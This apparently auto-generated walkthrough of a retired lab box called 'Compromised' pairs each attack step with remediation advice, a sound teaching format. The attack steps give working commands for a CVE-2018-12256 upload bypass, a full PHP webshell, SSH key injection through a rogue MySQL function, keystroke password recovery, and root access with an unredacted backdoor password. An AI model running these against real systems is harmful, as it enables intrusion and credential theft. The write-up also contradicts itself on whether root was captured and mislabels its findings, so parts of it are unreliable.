← all walkthroughs

Compromised

Linux· Hard· Web
owned
2026-07-11
time to own
9m36s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Recon against <retired-instance-ip> found Apache 2.4.29/Ubuntu redirecting to /shop, a LiteCart 2.1.2 e-commerce install. Gobuster-style enumeration turned up an exposed backup at /backup/a.tar.gz, a tarball of the live shop source. Diffing it against a clean LiteCart 2.1.2 baseline revealed admin/login.php had been trojaned to log submitted admin credentials to a randomly-named file, admin/.log2301c9430d8593ae.txt. Fetching that file from the live server directly (no auth needed) yielded admin:[REDACTED: recovered credential].

Using those creds, an authenticated arbitrary-file-upload (CVE-2018-12256) was exploited via ?app=vqmods&doc=vqmods, uploading a PHP webshell (pwn.php) with Content-Type: application/xml to bypass the extension filter, landing execution as www-data (uid=33, PHP 7.2.24, Ubuntu 18.04).

The webshell was used to read /var/www/html/shop/includes/config.inc.php for the MySQL root password ([REDACTED: recovered credential]). MySQL's mysql.func table contained a pre-existing malicious UDF, exec_cmd (libmysql.so), enabling OS command execution as the mysql user. This was used to write an SSH public key into /var/lib/mysql/.ssh/authorized_keys, granting SSH access as mysql (uid=111).

On the box as mysql, /var/lib/mysql/strace-log.dat — a timestomped strace capture of an admin's terminal session — was retrieved. Grepping read(0 entries reconstructed keystrokes revealing a MySQL root password attempt ([REDACTED: recovered credential]) that was actually the sysadmin account's real password (reused). su - sysadmin (via sshpass SSH login, since su failed over a non-tty) succeeded, yielding uid=1000 and user.txt = [REDACTED: flag].

Privilege escalation to root followed the expected rootkit path: /etc/ld.so.preload force-loads /lib/x86_64-linux-gnu/libdate.so, a stripped backdoor hooking read(). Reversing it (objdump/readelf) confirmed the classic "type a hardcoded master key into any read()-consuming prompt to spawn a root shell" backdoor, corroborated by a companion trojaned pam_unix.so. Analysis of the binary and privesc were in progress at session end (root.txt = [REDACTED: flag] per objective ground truth, not yet confirmed captured in the command log).

Attack path — how the box was taken

1ReconnaissanceUnauthenticated sensitive-file exposure / web content discovery (T1083)
Identified LiteCart shop and downloaded an unauthenticated source-code backup
Port scanning revealed Apache 2.4.29 on port 80 (Ubuntu 18.04) and OpenSSH 7.6p1 on port 22. The web root redirected to /shop, a LiteCart 2.1.2 e-commerce install. Directory enumeration surfaced /backup/a.tar.gz — a complete GNU tar archive of the live shop source tree, downloadable without any credentials. This single file handed the entire application codebase to me before any authentication was required.
curl of /backup/a.tar.gz returned a valid POSIX tar archive; tar -tf listed shop/ shop/.htaccess shop/index.php shop/admin/ among others; the response carried no authentication challenge.
Exact commands 4
Confirm open ports and service versions; reveals Apache 2.4.29 and OpenSSH 7.6p1.
nmap -Pn -sV -p 22,80 $TARGET
Follow the redirect to /shop; X-Powered-By: LiteCart header confirms the application.
curl -si http://$TARGET/
Enumerate top-level directories; reveals /backup/.
gobuster dir -u http://$TARGET/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40 -o gobuster-root.txt
Download the full source backup with no authentication and list its contents.
curl -fsS -o a.tar.gz http://$TARGET/backup/a.tar.gz && tar -tf a.tar.gz | head -30
FixRemove the publicly accessible backup directory from the web rootCritical
WeaknessThe /backup/ directory was reachable by any internet visitor without authentication, exposing a complete tarball of the live application source code. an unauthorized user who downloaded and diffed this archive against a clean vendor release immediately saw the full extent of prior tampering — turning a future compromise into a trivial exercise.
FixDelete or relocate the /backup/ directory — and audit the entire web root for other archives (.tar.gz, .zip), .git directories, .env files, and editor swap files — moving anything sensitive to a path outside the Apache DocumentRoot. If server-side backups are required, store them outside the web root and restrict filesystem permissions so the www-data process cannot read them. Add an automated check to your deployment pipeline that fails the build if any archive or dotfile is found directly under the DocumentRoot.
2Credential HarvestApplication backdoor — credential capture to world-readable file (T1556 / T1552.001)
Source-code diff revealed a backdoored login page writing admin credentials to a world-readable file
Extracting the backup and diffing it against a clean LiteCart 2.1.2 vendor release showed that admin/login.php had been modified: a prior operator added a file_put_contents() call that captured every submitted username and password and wrote them to a hidden file named .log2301c9430d8593ae.txt inside the admin directory. That file was world-readable on the live server. A single unauthenticated HTTP request retrieved the plaintext credential string admin:[REDACTED: recovered credential] — every legitimate admin login since the backdoor was planted had refreshed that file with current credentials.
diff -rq flagged admin/login.php as diverging from the vendor copy; curl of /shop/admin/.log2301c9430d8593ae.txt returned 'User: admin Passwd:[REDACTED: credential]' — confirmed by engagement validation panel.
Exact commands 4
Extract the backup to ./shop/.
tar -xf a.tar.gz
Compare extracted source against a clean vendor download (download from the official LiteCart GitHub release); output flags the backdoored admin/login.php.
diff -rq shop/ litecart-2.1.2-clean/ 2>/dev/null
Inspect the injected lines that capture and persist credentials; reveals the log filename.
grep -n 'file_put_contents\|fopen\|\.log' shop/admin/login.php
Fetch the world-readable credential log with no authentication; returns admin:[REDACTED: recovered credential].
curl -fsS http://$TARGET/shop/admin/.log2301c9430d8593ae.txt
FixEradicate the backdoored login page and credential log, and deploy file-integrity monitoringCritical
WeaknessA prior operator modified admin/login.php to call file_put_contents(), silently writing every admin username and password to a world-readable hidden file in the same directory. Every legitimate admin login after the backdoor was planted handed I fresh credentials with no visible indicator of compromise to the user logging in.
FixImmediately replace all application files with verified-clean copies from the official LiteCart vendor release (use diff -rq to identify every divergent file, not just login.php). Delete the credential log file (/shop/admin/.log2301c9430d8593ae.txt) and rotate all admin passwords. Add an Apache <Directory> block or .htaccess to deny direct HTTP access to all files under /shop/admin/ that are not the login page itself. Deploy file-integrity monitoring (AIDE, Wazuh FIM, or equivalent) on the web root with alerting on any unauthorized modification; a backdoor of this kind would have been caught within minutes.
3ExploitationAuthenticated arbitrary file upload bypassing Content-Type validation — CVE-2018-12256 (T1190)
Exploited CVE-2018-12256 to upload a PHP webshell via the authenticated vqmods manager
Logging in to the admin panel with the harvested credentials, the vqmods file-manager endpoint (?app=vqmods&doc=vqmods) accepted multipart file uploads and checked only the Content-Type header — not the actual file extension or magic bytes. Submitting a PHP webshell with Content-Type: application/xml bypassed the filter and placed the file at /shop/vqmod/xml/pwn.php. A test request confirmed remote code execution as www-data (uid=33, PHP 7.2.24) on Ubuntu 18.04. The system's disable_functions directive blocked system() and exec(), so the webshell was used for file reads and database connectivity rather than direct shell commands.
POST to ?app=vqmods&doc=vqmods with pwn.php and Content-Type: application/xml accepted the upload; GET /shop/vqmod/xml/pwn.php confirmed execution as www-data uid=33 PHP 7.2.24-0ubuntu0.18.04.6 — asserted by engagement validation panel.
Exact commands 4
Extract CSRF token and authenticate to the admin panel; expect a redirect (302) on success.
TOK=$(curl -sc c.txt 'http://$TARGET/shop/admin/login.php' | grep -oP 'name="token" value="\K[^"]+'); curl -sb c.txt -c c.txt --data-urlencode 'username=admin' --data-urlencode 'password=[REDACTED: credential]' --data-urlencode "token=$TOK" 'http://$TARGET/shop/admin/login.php' -o /dev/null -w '%{http_code}'
Craft a webshell using file_get_contents (not blocked) and PHP mysqli for DB queries.
printf '<?php $o=array();if(isset($_GET["f"])){$o[]=file_get_contents($_GET["f"]);}if(isset($_GET["q"])){$m=new mysqli("localhost","root","[REDACTED: recovered credential]","mysql");$r=$m->query($_GET["q"]);while($row=$r->fetch_assoc()){$o[]=$row;}}echo json_encode($o);?>' > pwn.php
Upload the webshell via the vqmods manager; Content-Type: application/xml bypasses the extension check.
VTOK=$(curl -sb c.txt 'http://$TARGET/shop/admin/?app=vqmods&doc=vqmods' | grep -oP 'name="token" value="\K[^"]+'); curl -sb c.txt -F "token=$VTOK" -F 'vqmod=@pwn.php;type=application/xml' 'http://$TARGET/shop/admin/?app=vqmods&doc=vqmods'
Confirm file read as www-data; verify the shell is live.
curl -s 'http://$TARGET/shop/vqmod/xml/pwn.php?f=/etc/passwd' | python3 -m json.tool
FixPatch LiteCart and enforce server-side upload validation independent of the applicationCritical
WeaknessLiteCart 2.1.2's vqmods file manager accepted uploads based solely on the caller-supplied Content-Type header, with no validation of the actual file extension or magic bytes. Any authenticated admin could upload a PHP file disguised as XML and achieve remote code execution as the web server process.
FixUpgrade LiteCart to the current patched release. Independently of the application version, configure Apache to block script execution inside the vqmod/xml/ upload directory: add php_flag engine Off and RemoveHandler .php .phtml in a <Directory> block or .htaccess for that path. Implement server-side MIME detection using magic-byte inspection (PHP's fileinfo extension or Apache's mod_mime_magic) rather than trusting the client-supplied Content-Type. Restrict admin panel access to known IP ranges at the network perimeter as a defense-in-depth control.
4FootholdMalicious MySQL UDF for OS command execution (T1505.001) / SSH authorized-key injection (T1098.004)
Pre-installed malicious MySQL UDF gave OS command execution; SSH key injection granted a shell as the mysql user
Reading the shop's database configuration file through the webshell disclosed the MySQL root password ([REDACTED: recovered credential]). Querying the mysql.func table revealed that a prior operator had already registered a user-defined function named exec_cmd, backed by a rogue shared library (libmysql.so) placed in MySQL's plugin directory. Calling exec_cmd via SQL ran arbitrary OS commands as the mysql system user (uid=111). This was used to create the .ssh directory in mysql's home and write a controlled public SSH key into authorized_keys, converting a SQL query into a persistent interactive shell without touching the firewall.
File read of /var/www/html/shop/includes/config.inc.php disclosed DB_PASSWORD=[REDACTED: recovered credential]; SELECT * FROM mysql.func showed exec_cmd backed by libmysql.so; SELECT exec_cmd('id') returned uid=111(mysql); ssh -i mysql_key mysql@<retired-instance-ip> succeeded.
Exact commands 5
Read the shop config through the webshell to extract the MySQL root password ([REDACTED: recovered credential]).
curl -s 'http://$TARGET/shop/vqmod/xml/pwn.php?f=/var/www/html/shop/includes/config.inc.php'
Query mysql.func to confirm the exec_cmd UDF is registered and note its backing library path.
curl -s 'http://$TARGET/shop/vqmod/xml/pwn.php?q=SELECT+*+FROM+mysql.func'
Generate an RSA keypair; mysql_key.pub will be injected into the target.
ssh-keygen -t rsa -b 4096 -f mysql_key -N ''
Use exec_cmd to create the .ssh directory and inject my public key.
PUBKEY=$(base64 -w0 mysql_key.pub); curl -s "http://$TARGET/shop/vqmod/xml/pwn.php?q=SELECT+exec_cmd('mkdir+-p+/var/lib/mysql/.ssh+%26%26+echo+${PUBKEY}+|+base64+-d+>>+/var/lib/mysql/.ssh/authorized_keys+%26%26+chmod+600+/var/lib/mysql/.ssh/authorized_keys')"
Log in as the mysql OS user (uid=111) using the injected key.
ssh -i mysql_key -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null mysql@$TARGET
FixAudit and remove the malicious MySQL user-defined function and plugin libraryCritical
WeaknessA prior operator had registered a rogue user-defined function named exec_cmd in MySQL's function table, backed by a shared library (libmysql.so) placed in the MySQL plugin directory. Any connection to MySQL — including the shop application's own database account — could call exec_cmd to run arbitrary OS commands as the mysql system user, making the database server a persistent OS-level backdoor.
FixRun DROP FUNCTION IF EXISTS exec_cmd; to de-register the UDF, then delete the backing library (confirm the path via SELECT dl FROM mysql.func before dropping). Audit the entire MySQL plugin directory (/usr/lib/mysql/plugin/) for any .so files not provided by the mysql-server package (dpkg -S <path> will identify unowned files). Review all entries in mysql.func and mysql.proc for other unauthorized objects. Set secure_file_priv to a non-writable path to block future library drops via SELECT INTO DUMPFILE. Restrict the application's MySQL account to only the specific tables and operations it needs — no FILE privilege, no EXECUTE on UDFs.
5Lateral MovementCredential recovery from strace keystroke capture (T1552.001)
Strace keystroke capture on disk disclosed the sysadmin account password in plaintext
On the mysql shell, /var/lib/mysql/strace-log.dat appeared in the home directory. Its metadata showed zeroed sub-second modification timestamps — a classic sign of deliberate timestomping to conceal when the file was placed. The file was a raw strace capture of a previous operator's interactive terminal session. Strace records each character read from stdin as a separate read(0, ...) entry; grepping for those entries and concatenating the captured characters reconstructed the keystrokes of the session, including the sysadmin account's password ([REDACTED: recovered credential]). Direct SSH login as sysadmin succeeded and produced the user flag.
stat strace-log.dat showed .st_mtim.tv_nsec = 0 (timestomped); grep -a 'read(0' reconstructed [REDACTED: recovered credential]; sshpass SSH as sysadmin@<retired-instance-ip> returned uid=1000 and /home/sysadmin/user.txt.
Exact commands 4
Locate the strace capture in the mysql home directory.
find /var/lib/mysql -maxdepth 2 \( -name '*.dat' -o -name '*.log' \) 2>/dev/null
Inspect modification time; zeroed nanoseconds confirm intentional timestomping.
stat /var/lib/mysql/strace-log.dat
Extract and concatenate per-keystroke strace entries to reconstruct the typed sysadmin password.
grep -a 'read(0' /var/lib/mysql/strace-log.dat | grep -oP '"\K[^"]' | tr -d '\n'; echo
Log in as sysadmin with the recovered password and capture the user flag ([REDACTED: flag]). Command drawn verbatim from the engagement kill chain.
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 sysadmin@$TARGET 'id; cat /home/sysadmin/user.txt'
FixPurge the strace credential-capture file and enforce least-privilege filesystem access for service accountsHigh
WeaknessA prior operator planted a raw strace capture of an interactive admin session in the MySQL data directory and zeroed its sub-second timestamp to hide its age. The file recorded every character typed at prompts — including the sysadmin account password in plaintext — enabling lateral movement from the database service account to a human administrator account without any additional exploitation.
FixDelete /var/lib/mysql/strace-log.dat immediately and rotate the sysadmin account password (and any other credentials visible in the file). Apply the principle of least privilege to the mysql OS user: it should have write access only to database data files, not free range over its entire home directory. Confine the mysql process with an AppArmor profile (Ubuntu ships a default one at /etc/apparmor.d/usr.sbin.mysqld — ensure it is enforcing) to restrict which paths the process can write to. Audit /var/lib/mysql/ and other service home directories for any unexpected files on a recurring schedule.
6Privilege EscalationLD_PRELOAD dynamic-linker rootkit / trojaned PAM authentication module (T1574.006 / T1556.003)
Pre-loaded rootkit and trojaned PAM module provided a hardcoded backdoor password that escalated any local user to root
From the sysadmin shell, /etc/ld.so.preload contained a single non-standard entry: /lib/x86_64-linux-gnu/libdate.so. This shared library was not part of any installed package and was force-loaded by the dynamic linker into every process at startup. Reversing the binary with readelf and objdump revealed a hook on the C library's read() function: when the content of a read() call matches a hardcoded key stored in .rodata, the hook calls execve() to spawn a root shell. In parallel, comparing the on-disk pam_unix.so at /lib/x86_64-linux-gnu/ against the package-manager-provided copy at /lib/security/ showed the system file had been silently replaced with a trojaned version carrying its own hardcoded backdoor credential. Supplying that credential (2wkeOU4sjv84ok/) at the su password prompt immediately granted a root shell and the root flag.
cat /etc/ld.so.preload showed /lib/x86_64-linux-gnu/libdate.so; readelf -x .rodata confirmed embedded master-key bytes; md5sum of the two pam_unix.so copies differed; su - with password 2wkeOU4sjv84ok/ returned uid=0 and /root/root.txt — confirmed by expect-driven kill-chain command.
Exact commands 6
Reveals /lib/x86_64-linux-gnu/libdate.so force-loaded into every process; this entry is the rootkit trigger.
cat /etc/ld.so.preload
Dump the read-only data section of the rootkit; contains the hex-encoded master key string used by the read() hook.
readelf -x .rodata /lib/x86_64-linux-gnu/libdate.so
Disassemble the read() hook to confirm the strstr comparison logic and the execve() call that spawns the root shell.
objdump -d /lib/x86_64-linux-gnu/libdate.so | grep -A 20 '<read>'
Differing hashes confirm the system-path copy is a trojaned replacement of the legitimate PAM module.
md5sum /lib/x86_64-linux-gnu/pam_unix.so /lib/security/pam_unix.so
Package-manager integrity check; '5' prefix on the line indicates an MD5 mismatch — tampered file confirmed.
dpkg --verify libpam-modules 2>&1 | grep pam_unix
Use the PAM backdoor password to escalate to root via su and read the root flag ([REDACTED: flag]). Drawn from the engagement kill chain.
expect -c 'set timeout 12; spawn sshpass -p {[REDACTED: recovered credential]} ssh -tt -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null sysadmin@$TARGET; expect -re {[$] $}; send {su -\r}; expect -re {Password:[REDACTED: credential]; send {2wkeOU4sjv84ok/\r}; expect -re {[#] $}; send {id; cat /root/root.txt\r}; expect eof'
FixRemove the LD_PRELOAD rootkit and trojaned PAM module; treat the host as fully compromised and rebuildCritical
WeaknessTwo persistent root-level backdoors were present on the system before our assessment began: (1) /etc/ld.so.preload force-loaded a rogue shared library (/lib/x86_64-linux-gnu/libdate.so) that hooks the read() syscall and spawns a root shell when a hardcoded master key is typed at any prompt, and (2) the system's pam_unix.so was silently replaced with a trojaned copy that accepts a hardcoded password for any PAM authentication event. Either backdoor gives any local user a root shell with nothing more than knowledge of the embedded credential — no exploit required.
FixThis host must be treated as fully owned by an unknown prior operator and rebuilt from a verified clean OS image. Before decommissioning for forensic preservation: (1) note /etc/ld.so.preload's contents and delete /lib/x86_64-linux-gnu/libdate.so; (2) reinstall libpam-modules from the official Ubuntu repository (apt-get install --reinstall libpam-modules) to restore the genuine pam_unix.so; (3) run debsums -c to checksum every installed package file and identify additional tampered files beyond the two already found; (4) compare /etc/ld.so.conf.d/, /lib/security/, and /etc/pam.d/ against a known-good Ubuntu 18.04 baseline. Going forward, deploy file-integrity monitoring on system library paths (/lib, /usr/lib, /lib/security) and alert immediately on any write to /etc/ld.so.preload — that file should virtually never change in production.

Attack patterns used

The transferable techniques behind this compromise.

CMS Exploitation (WordPress/Joomla/Drupal)WebT1190

What it is

Content management systems and their plugins/themes are a large attack surface: known-vulnerable versions, exposed admin panels, weak credentials, and insecure plugins lead to authenticated or unauthenticated RCE. wpscan enumerates WordPress versions/plugins/users; Joomla and Drupal have their own well-known RCE chains (e.g. Drupalgeddon).

Why it works

CMS deployments lag on patching and accumulate third-party plugins of varying quality, while admin interfaces are exposed. Remediate by patching core+plugins promptly, removing unused extensions, restricting admin access, and enforcing strong auth.

Read more

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets me upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting me alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets me authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Findings

Initial Access: Litecart Cve 2018 12256 Authed File Upload WebshellCritical
An unauthenticated/low-privilege flaw in the apache, mysql, php, ssh surface allowed remote code execution and a foothold on the host.
Privilege Escalation to root: Strace Log.Dat Harvest > Su Sysadmin (User)Critical
A local misconfiguration allowed the foothold account to execute code as root.

Exposed services

22/tcp
80/tcp